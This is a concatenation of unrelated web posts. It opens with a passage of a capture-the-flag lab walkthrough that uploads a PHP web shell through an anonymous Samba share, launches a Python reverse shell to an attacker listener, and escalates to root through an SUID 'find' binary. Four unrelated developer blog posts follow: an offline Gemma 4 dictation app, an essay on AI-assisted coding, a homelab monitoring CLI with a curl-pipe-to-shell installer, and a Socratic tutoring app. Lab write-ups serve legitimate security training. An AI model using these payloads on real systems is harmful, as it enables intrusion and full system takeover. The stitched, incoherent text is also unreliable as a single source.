No obvious vulnerabilities or relevant CVEs were found for the Apache service, necessitating a pivot to the Samba service. I used smbclient to enumerate available shares:

smbclient -L //target2.ine.local -N

smb shares

Critical Misconfiguration Identified:

  • Share: site-uploads
  • Access: Anonymous (no authentication required)
  • Permissions: Read + Write
  • Risk: Arbitrary file upload to web-accessible directory

This configuration allows an attacker to upload malicious scripts that execute server-side when accessed via HTTP, creating a direct path to Remote Code Execution.

Exploitation: Web Shell Upload

Having confirmed anonymous write access to the share, I uploaded a minimal PHP web shell to test remote code execution:

Web Shell (shell.php):

<?php system($_GET['cmd']); ?>

Upload Process:

smbclient //target2.ine.local/site-uploads -N
put shell.php

RCE Verification:

curl "http://target2.ine.local/site-uploads/shell.php?cmd=id"

web shell upload

Output confirmed successful remote code execution as the www-data user.

Reverse Shell Establishment

Having confirmed Remote Code Execution via the web shell, the next objective was to establish a stable reverse shell. I set up a Netcat listener on my attacker machine and executed a Python-based payload through the vulnerable URL parameter:

Netcat Listener:

nc -nlvp 4444

Reverse Shell Payload:

curl "http://target2.ine.local/site-uploads/shell.php?cmd=python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.244.150.2",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;pty.spawn("bash")'"

What this does:

  • Creates a TCP socket connection to the attacker’s machine
  • Duplicates socket file descriptors to stdin, stdout, and stderr
  • Spawns an interactive bash shell through a PTY
  • Routes all commands and responses through the network socket

This script forced the target server to initiate an outbound connection back to my machine, hijacking the standard input and output streams to spawn an interactive bash terminal, granting full remote control over the system.

Flag Capture

As indicated by the challenge hint, the flag is located in the root directory. Once the listener caught the connection, I navigated to capture the flag:

cd /
cat flag3.txt

flag 3

Flag 3 captured successfully! ✓

Flag 4: SUID Privilege Escalation

Hint: Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

Privilege Escalation Methodology

As indicated by the challenge hint, the goal now is to escalate privileges from the low-privileged www-data user to root access.

Step 1: Sudo Permissions Check

First, I checked if the current user is allowed to run any specific commands as root without a password:

sudo -l

Result: No sudo privileges for www-data

Step 2: SUID Binary Enumeration

This yielded no results, leading to a pivot to SUID binaries—programs that have the “Set-User-ID” bit set, which means they execute with the permissions of the file owner (usually root) no matter who runs them.

Enumeration was conducted using the following command:

find / -perm -4000 -type f 2>/dev/null

Command Breakdown:

  • find / – Recursively search from root directory
  • -perm -4000 – Find files with SUID bit set (octal 4000)
  • -type f – Restrict to regular files only
  • 2>/dev/null – Suppress permission-denied errors

This command recursively searches from root (/) for regular files (-type f) with the SUID permission bit set (-perm -4000), which allows executables to run with their owner’s privileges rather than the invoking user’s privileges. Error output was suppressed (2>/dev/null) to filter permission-denied messages, returning only exploitable SUID binaries.

suid binaries

SUID Find Exploitation

Critical Finding: /usr/bin/find with SUID bit set (owner: root)

The enumeration revealed /usr/bin/find with the SUID bit set and root ownership, creating a critical privilege escalation vulnerability. The SUID permission forces find to execute with root privileges regardless of which user invokes it.

Vulnerability: The find binary executes with root privileges due to the SUID bit, and its -exec flag allows arbitrary command execution. Leveraging the -exec flag—a native feature of find that executes commands on matched files—enables arbitrary command execution in the context of root. This misconfiguration transforms a standard filesystem utility into a direct privilege escalation vector.

Exploit Command:

find . -exec /bin/sh -p ; -quit

Command Breakdown:

  • . – Search in the current directory
  • -exec /bin/sh -p – Execute shell with preserved privileges (-p flag critical)
  • ; – Terminate the -exec statement
  • -quit – Stop after first match (prevents recursive shell spawning for every file)

The -p flag is critical for preserving the SUID root privileges rather than dropping to the invoking user’s permissions (www-data). The -quit flag immediately terminates find after spawning the first shell, preventing it from recursively executing for every matched file.

Root Access Verification

Following successful execution of the SUID exploit, root access was confirmed:

whoami

Privilege Escalation Confirmation:

  • whoami output: root

This confirmed complete privilege escalation from the low-privileged web server user to root. With full administrative control achieved, navigation to the /root directory granted access to restricted files, including the final CTF flag.

Flag Capture

cd /root
cat flag4.txt

flag 4

Flag 4 captured successfully! ✓

Total system compromise achieved.

Conclusion

This CTF successfully demonstrated the complete attack chain from initial reconnaissance to full system compromise across multiple targets:

Attack Methodology Summary

  1. Reconnaissance: Service enumeration via Nmap and protocol-specific tools (FTP, SMB)
  2. Initial Access: Exploitation of ProFTPD mod_copy vulnerability and SMB misconfigurations
  3. Post-Exploitation: Shell upgrades, internal service discovery, and lateral movement
  4. Privilege Escalation: SUID binary abuse to achieve root access on compromised targets

Tools & Resources

Tools Used:

Reference Materials:

  • GTFOBins – SUID/sudo privilege escalation techniques
  • CVE-2015-3306 – ProFTPD mod_copy vulnerability

Bidet AI — on-device Gemma 4 turns a messy brain-dump into clean writing

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I’m Mark. I’m a middle-school teacher, and I’m not a coder. A few times a year there’s a piece of writing that wrecks me: honest comments about real students — the most personal, highest-stakes writing I do. It always came out the same way: two in the morning, blank page, everything in my head refusing to line up. My brain runs a mile a minute and goes everywhere, faster than I can type or talk. I have ADD. Getting what’s actually in my head onto the page has always been the hard part.

So I built Bidet AI — an Android app that turns a spoken brain-dump into clean writing, 100% on the phone, fully offline, on a three-year-old phone.

You hit record and just talk — ramble, stutter, repeat, go off on tangents. It transcribes you as you speak, then reshapes the mess into clear writing. It doesn’t summarize you. It organizes what you actually said and fills in the context other people need, so it reads like you on a good day, finally saying it the way you meant. There’s a version cleaned for you, and a version cleaned for other people to read.

Running entirely on-device isn’t a tech flex — it’s the whole point. The comments I write are about real students: specific, candid, sometimes hard. There is no version of me that uploads that to someone’s server to get cleaned up. With Bidet AI nothing is sent anywhere on its own; the only thing that ever leaves the phone is what I choose to share. Private here isn’t a policy I’m trusting — it’s where the computer is. And the hardware floor is a phone someone already owns, not a subscription and a card on file: a cloud tool serves people who can afford the cloud; one that runs on an old phone serves everyone else.

Demo

🎥 2:43 walkthrough (my own story, with a real on-device demo in airplane mode): https://youtu.be/EAJe4rpJAF0

🌐 Project page: https://bidetai.app

In the video, the on-device demo is shot with airplane mode visibly switched on — no Wi-Fi, no cellular — and the speech model and Gemma 4 both keep running. The cleaned, organized output appears with the device fully offline. Gemma 4 E2B genuinely takes a couple of minutes to cold-load on a three-year-old phone, so that stretch is honestly time-compressed (shown as proof → cut → payoff) — never claimed as instant.

Code

📦 Public source (Apache 2.0): https://github.com/MrB-Ed/bidet-ai

What I built on, and what’s original — stated plainly: the Android project forks Google’s AI Edge Gallery (Apache 2.0; the exact upstream commit is pinned in UPSTREAM_GALLERY_SHA.md, with attribution in LICENSE and NOTICE). I used the fork as the shell so I didn’t reinvent model download and lifecycle plumbing. The public repo is a curated extract that intentionally drops the inherited UI, storage, download and branding code so the Gemma 4 work is easy to read. The original engineering on top of the fork is the capture-and-restructure pipeline:

  • A foreground capture service (CleanGenerationService.kt): 16 kHz audio with overlapping windows and a rolling backbuffer so a brain-dump can run as long as it needs to instead of being capped at one short window, then it runs the on-device Gemma cleanup pass once recording completes.
  • An on-device transcription path: a bundled ~27M-parameter Moonshine-Tiny v2 model (English, MIT license) run through the sherpa-onnx runtime, with deterministic fuzzy de-duplication to stitch the overlapping chunks into one clean transcript. This replaced an earlier whisper.cpp prototype — smaller, faster, more accurate at this size.
  • A single shared LiteRT-LM engine provider (BidetSharedLiteRtEngineProvider.kt): one Engine per process with an NPU→CPU backend fallback on Tensor G3 and a mutex-guarded single-load state machine, tuned so a 2B-class language model and a small ASR model can co-reside in memory on an old phone without OOM.
  • A first-run consent screen that enforces the Gemma Terms of Use. The only network call the app ever makes is a one-time, optional model download. No telemetry, no analytics, no phone-home.

How I Used Gemma 4

The model choice is the project — and E2B was deliberate, not default.

The constraint came first: the language model has to run on a three-year-old phone, in airplane mode, sharing memory with an ASR model that’s already resident. The equity argument — “works for people the cloud leaves behind” — is only true if it runs on hardware people already own. So I let the constraint pick the model:

  • I tested the larger E4B first. It blew the memory budget and would not co-reside with the speech model on the target device.
  • The 31B Dense and 26B MoE variants are non-starters for offline mobile — they’re server/desktop-grade.
  • E2B is the smallest Gemma 4 variant, explicitly built for edge/ultra-mobile deployment. It is the only flavor that fits the constraint and still does genuinely good restructuring of messy, disfluent speech. Picking E2B is what turns the offline-on-old-hardware claim from aspirational into real.

Division of labor by design: the ~27M Moonshine model only listens (speech → text). Everything that makes the output good — cleanup, organizing tangents into a structure, filling in context, producing both a for-me and a for-others version — is Gemma 4 E2B running locally via LiteRT-LM. No cloud. No fallback. Disfluent, out-of-order, ADD-shaped speech is exactly the input a strong small instruction-tuned model is good at, and it’s the reason the app is useful rather than just private.

On personalization — honest status: because the model is on-device and mine, I ran a small Unsloth LoRA experiment on ~1,300 paired examples from my own brain-dumps, to see if the cleaned output could sound more like me. This is an in-progress experiment. It is not in the shipped build and no fine-tuned model is claimed as working here — the app ships and runs on the base Gemma 4 E2B weights. The repo’s README says the same thing. I’m including it because it’s part of the honest story of what on-device open weights make possible, not because it’s a finished result.

Why this is a Gemma 4 build worth your time: a non-coder solving a real, personal, high-stakes problem on a phone he already owned — where the choice of which Gemma 4 model (E2B) is the single thing that makes it work. Private by architecture, offline by construction, and useful for anyone whose brain moves faster than their hands.

Take a brain dump. Bidet AI cleans up your mess.

The Death of “Just Write the Code”: How AI-Native Development Is Reshaping What It Means to Be a Developer

You’re not losing your job to AI. But the developer who knows how to work with AI might.

I used to spend 40 minutes writing a database migration script. Last Tuesday, I described what I needed in two sentences, reviewed the output, caught one edge case, fixed it, and shipped. Total time: 8 minutes.

That’s not a flex — it’s a signal. Something fundamental is shifting in how we build software, and if you’re a mid-level developer, you’re sitting right at the epicenter of that shift.

What “AI-Native Development” Actually Means

It’s not just “using Copilot to autocomplete your for loops.”

AI-Native Development is a philosophy where AI is a first-class participant in your entire software lifecycle — from architecture decisions to writing code, generating tests, reviewing PRs, and even maintaining legacy systems. Instead of writing every line and occasionally asking AI to fill in the blanks, you express intent and let AI generate the implementation.

Think of it like the shift from Assembly to high-level languages. Nobody said “C developers aren’t real programmers.” The abstraction layer just moved up. It’s moving again.

The Old Loop vs. The New Loop

The old dev loop:

  1. Understand the requirement
  2. Design a solution in your head
  3. Look up docs / StackOverflow
  4. Write the code
  5. Debug it
  6. Write tests (maybe)
  7. Ship

The AI-native dev loop:

  1. Understand the requirement (still you)
  2. Design a solution in your head (still you)
  3. Describe the solution clearly to an AI
  4. Review, critique, and refine the output
  5. Catch edge cases the AI missed (your experience matters here)
  6. Ship faster

Notice what didn’t go away: your understanding of the problem. What changed is where your time goes.

Where Mid-Level Devs Win (and Where We Can Get Lazy)

Here’s the honest take: AI-native tooling is a power multiplier — and that cuts both ways.

Where it genuinely helps us

Boilerplate and scaffolding — CRUD endpoints, form validation, DTO mapping. The stuff that’s correct but boring. AI eats this for breakfast. Let it.

Unfamiliar territory — Need to write a Dockerfile for the first time? Integrate a payment gateway you’ve never touched? AI gets you to a working first draft faster than any tutorial.

Test coverage — Generating unit tests for existing functions is something AI does remarkably well. You describe the behavior, it writes the cases. You review for correctness.

Code review assistance — Pasting a PR diff and asking “what could go wrong here?” often surfaces things you’d catch on a second read at 9am but miss at 5pm on a Friday.

Where we can get lazy (and why it matters)

Understanding what you ship. If you paste AI output without reading it, you own the bugs and you didn’t learn anything. The developer who can’t explain their own code in a review is a liability.

Architecture decisions. AI is excellent at implementation. It’s mediocre at knowing why your system is structured the way it is, what technical debt exists, and what your team’s conventions are. That context lives in your head.

Security and edge cases. AI-generated code can be subtly wrong in ways that only show up in production. SQL injections, race conditions, incorrect null handling — always review with a skeptic’s eye.

A Real Example: From Intent to Shipped

Let’s say you’re building a Go API and need rate limiting per user.

Old approach: Google “Go rate limiting middleware,” read three blog posts, pick one approach, adapt the code, test it.

AI-native approach:

You write:

“I need a rate limiting middleware for a Gin API in Go. It should limit requests per authenticated user (user ID from JWT claims), allow 100 requests per minute, use a sliding window algorithm, and return a 429 with a Retry-After header when the limit is hit. Use an in-memory store for now.”

You get a working draft in seconds. Then your job becomes:

  • Does this sliding window implementation actually work correctly?
  • What happens when the server restarts? (In-memory store resets — is that acceptable?)
  • Is the JWT parsing consistent with the rest of the codebase?
  • Are there any race conditions in the store?

That last part — the critique — is where your experience lives. A junior dev might not know to ask those questions. You do.

The Skills That Are Getting More Valuable

The AI wave isn’t making developers irrelevant. It’s shifting what skills are premium.

Getting less scarce Getting more valuable
Writing boilerplate code System design & architecture
Memorizing syntax Clear technical communication
Looking up APIs Code review & critique
Writing basic CRUD Security & edge case thinking
First-draft implementations Knowing what to build (and what not to)

Notice that most of the “more valuable” column is things that come with experience. AI can write code. It can’t replace the developer who has shipped broken code to prod at 2am and knows exactly what to look for next time.

Tools Worth Knowing Right Now

If you’re not already using these, start:

  • GitHub Copilot / Cursor — In-editor AI that goes beyond autocomplete. Cursor in particular treats your entire codebase as context.
  • Claude / ChatGPT for architecture — Describe a system design problem and workshop it. Genuinely useful for rubber-ducking at scale.
  • Codeium — Free Copilot alternative, solid for open-source projects.
  • Aider — AI pair programmer in your terminal, works directly with your git repo.
  • Claude Code — Agentic coding tool that can read, edit, and run code in your project autonomously.

What This Means for Your Career

If you’re a mid-level developer, the honest advice is this: don’t resist the shift, but don’t outsource your thinking.

The developers who will struggle are those who either:

  1. Refuse to use AI tools and get outpaced on speed, or
  2. Use AI as a crutch and stop developing real understanding

The sweet spot — and where the most interesting work is — is being the person who can direct AI effectively, critique its output sharply, and own the architecture decisions that no prompt can make for you.

That’s not a lesser form of programming. It might actually be a more demanding one.

Final Thought

The best analogy I’ve heard: AI-native development is like having a very fast, very literal junior developer who never gets tired, never gets offended by feedback, and occasionally makes confident mistakes.

Your job isn’t to compete with that junior dev. Your job is to be the senior who knows when the work is good, when it’s subtly broken, and what to build next.

That role isn’t going anywhere.

What’s your experience been with AI tools in your day-to-day dev work? Drop a comment — I’m curious whether others are finding the same patterns or running into completely different ones.

I still don’t want to give Claude SSH access, so I built a doctor for my homelab

A few weeks ago I wrote about why I don’t want to give Claude SSH access to my home server.

It’s not that AI agents are useless. It’s the opposite. They got good enough that handing one a shell started to feel reckless.

A shell isn’t really an interface. It’s a weapon with tab completion. It can read anything, delete anything, restart anything, and confidently run the wrong command on the wrong machine at 2am.

So I’ve been building HomeButler in the other direction:

Not “AI runs my server.”
“AI asks my server safe, structured questions.”

The thing dashboards don’t do

The first version of HomeButler was mostly about visibility:

homebutler status
homebutler docker list
homebutler ports
homebutler report

It worked. But after running it on my own homelab for a while, I noticed something.

Raw status isn’t enough.

Most of the time I don’t actually want to see every metric. I want to know four things:

  • Is something wrong?
  • Is it urgent?
  • What changed?
  • What should I check next?

Dashboards don’t really answer those. They show you CPU, memory, disk, containers, ports, uptime, graphs, colors, tables — and then quietly hand the interpretation back to you.

That’s fine when I’m sitting at my desk. It’s much less useful when I’m checking my phone half-awake, wondering if something is quietly on fire.

For a small homelab I don’t need a mini NOC. I need a calm answer.

So I added a new command:

homebutler doctor

Output looks like this:

🩺 HomeButler Doctor — mac-mini

✅ CPU looks normal
✅ Memory looks normal
⚠️ Disk usage is high: 91%
⚠️ 1 container is stopped
⚠️ Public listener found on 0.0.0.0:8080
⚠️ Latest backup is older than 7 days

Suggested next steps:
→ homebutler docker list
→ homebutler ports
→ homebutler backup list

Not “here is everything.” More like “here is what deserves your attention.”

Why this matters more once an AI is in the loop

This shape becomes a lot more interesting when an agent is involved.

Imagine giving an agent SSH and asking:

“Is my server okay?”

Now the agent has to decide what to run. Probably something like:

df -h
free -m
docker ps
docker logs ...
ss -tulpn
systemctl status ...

That can work. But the agent is now exploring my box through a general-purpose shell. It can run too much, see too much, or run the right command on the wrong host. The blast radius is “whatever the shell can do,” which is everything.

With HomeButler, the agent gets a much smaller surface:

homebutler doctor --json

Structured output. Read-only. Bounded scope.

The agent doesn’t need to be the operator. It can be the interpreter. That distinction is the whole point of the project for me.

What doctor actually checks

homebutler doctor is intentionally boring. That’s the feature.

It checks the kinds of things I usually only notice once they’ve already become a problem:

  • high CPU, memory, or disk usage
  • stopped containers
  • public bind ports
  • missing or stale backups
  • notification readiness
  • whether report has a baseline for change detection

There’s a strict mode for cron and CI:

homebutler doctor --strict

And because everything is machine-readable:

homebutler doctor --json

An agent can consume the result directly. No scraping terminal output, no parsing colored text, no guessing what df -h formatted on a particular distro.

Report vs Doctor

After using both for a while, I’ve started thinking about HomeButler as having two distinct kinds of answers.

report answers: “What changed since last time?”

homebutler report

It saves snapshots, compares the current state with the previous one, and summarizes notable changes.

doctor answers: “What looks risky right now?”

homebutler doctor

One looks backward. One looks at the current risk. Together they’re much more useful than raw metrics, and honestly more useful than most of the dashboards I’ve run.

The pattern I keep coming back to

The longer I work on this, the more I think the framing matters more than the features:

AI agents don’t need more power by default. They need better tools.

A shell gives an agent maximum power and maximum ambiguity. A narrow tool gives it less power but more meaning. For homelab ops, that tradeoff feels right to me. I don’t want an agent freely roaming my server. I want it to ask specific, bounded questions:

homebutler doctor --json
homebutler report --json
homebutler inventory scan --json
homebutler backup drill uptime-kuma --json

And then explain the result in plain language.

That’s a very different security model from “here is SSH, good luck.”

Try it

HomeButler is a single Go binary. No daemon, no database, no always-on service.

brew tap Higangssh/homebutler
brew install homebutler

Or:

curl -fsSL https://raw.githubusercontent.com/Higangssh/homebutler/main/install.sh | sh

Then:

homebutler init
homebutler doctor
homebutler report

Repo: https://github.com/Higangssh/homebutler

I’m still building this around one idea: the future of AI-assisted ops shouldn’t be “give the agent a shell.” It should be “give the agent a tool that says what it means.”

Genuine question for anyone running a homelab: what’s the last thing your setup broke without warning? I’m collecting ideas for what doctor should check next.

GemmaChallenge: Build a Socratic Study Buddy with Gemma 4

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

I built a local Socratic Study Buddy application. It pairs the localized inference engine of LM Studio with a custom-built Streamlit Web UI frontend. Instead of acting as a lazy “answer engine” that does a student’s homework for them, this tool forces the underlying Gemma 4 model to plan pedagogical strategies and use structured dialogue to guide critical thinking.

Demo

Here is how the complete architecture interacts within the custom Python frontend workspace:

Check out more details in this blogpost 🙂

Code

The entire layout—including the Python automation scripts, system prompt templates, configurations, and the Streamlit frontend architecture—is completely open-source:
👉 Check out the GitHub Repository Here

How I Used Gemma 4

Gemma 4 powers the core logic of this project through its Chain-of-Reasoning process. Gemma 4 has the capacity for a native Chain-of-Reasoning process.

Instead of jumping straight to an answer, Gemma 4 works through logical steps internally before it speaks. This makes it a perfect mentor. While other models might just do your homework, Gemma 4 is trained to identify where you are stuck and nudge you toward the solution.

Team Submissions:

Developed by @leslysandra along gemini and claude.